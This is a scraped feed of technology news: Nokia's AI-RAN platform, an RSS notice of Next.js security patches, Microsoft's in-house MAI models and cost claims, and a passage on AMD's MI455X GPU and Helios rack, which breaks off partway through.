<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Next.js Patches Nine Security Flaws Enabling SSRF, Middleware Bypass, DoS, and Internal Endpoint Disclosure]]></title>
<description><![CDATA[The Next.js team has released security updates that address nine vulnerabilities affecting the App Router, Server Actions, rewrites, image optimization, caching, and middleware deployments. Organizations are urged to upgrade to Next.js versions 15.5.21 or 16.2.11 immediately, as these updates fix...]]></description>
<link>https://tsecurity.de/de/3690741/it-security-nachrichten/nextjs-patches-nine-security-flaws-enabling-ssrf-middleware-bypass-dos-and-internal-endpoint-disclosure/</link>
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<pubDate>Fri, 24 Jul 2026 07:14:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Next.js team has released security updates that address nine vulnerabilities affecting the App Router, Server Actions, rewrites, image optimization, caching, and middleware deployments. Organizations are urged to upgrade to Next.js versions 15.5.21 or 16.2.11 immediately, as these updates fix…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/next-js-patches-nine-security-flaws-enabling-ssrf-middleware-bypass-dos-and-internal-endpoint-disclosure/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/next-js-patches-nine-security-flaws-enabling-ssrf-middleware-bypass-dos-and-internal-endpoint-disclosure/">Next.js Patches Nine Security Flaws Enabling SSRF, Middleware Bypass, DoS, and Internal Endpoint Disclosure</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Next.js Patches Nine Security Flaws Enabling SSRF, Middleware Bypass, DoS, and Internal Endpoint Disclosure]]></title>
<description><![CDATA[The Next.js team has released security updates that address nine vulnerabilities affecting the App Router, Server Actions, rewrites, image optimization, caching, and middleware deployments. Organizations are urged to upgrade to Next.js versions 15.5.21 or 16.2.11 immediately, as these updates fix...]]></description>
<link>https://tsecurity.de/de/3690724/it-security-nachrichten/nextjs-patches-nine-security-flaws-enabling-ssrf-middleware-bypass-dos-and-internal-endpoint-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690724/it-security-nachrichten/nextjs-patches-nine-security-flaws-enabling-ssrf-middleware-bypass-dos-and-internal-endpoint-disclosure/</guid>
<pubDate>Fri, 24 Jul 2026 06:59:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Next.js team has released security updates that address nine vulnerabilities affecting the App Router, Server Actions, rewrites, image optimization, caching, and middleware deployments. Organizations are urged to upgrade to Next.js versions 15.5.21 or 16.2.11 immediately, as these updates fix high- and moderate-severity flaws that could lead to server-side request forgery (SSRF), authentication bypass, denial […]</p>
<p>The post <a href="https://gbhackers.com/next-js-patches-nine-security-flaws/">Next.js Patches Nine Security Flaws Enabling SSRF, Middleware Bypass, DoS, and Internal Endpoint Disclosure</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
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<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[AMD expands its software stack with Rocm.ai]]></title>
<description><![CDATA[The company wants to simplify AI workload deployment with unified development and optimization platform]]></description>
<link>https://tsecurity.de/de/3690293/it-security-nachrichten/amd-expands-its-software-stack-with-rocmai/</link>
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<pubDate>Thu, 23 Jul 2026 23:58:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company wants to simplify AI workload deployment with unified development and optimization platform]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
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<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



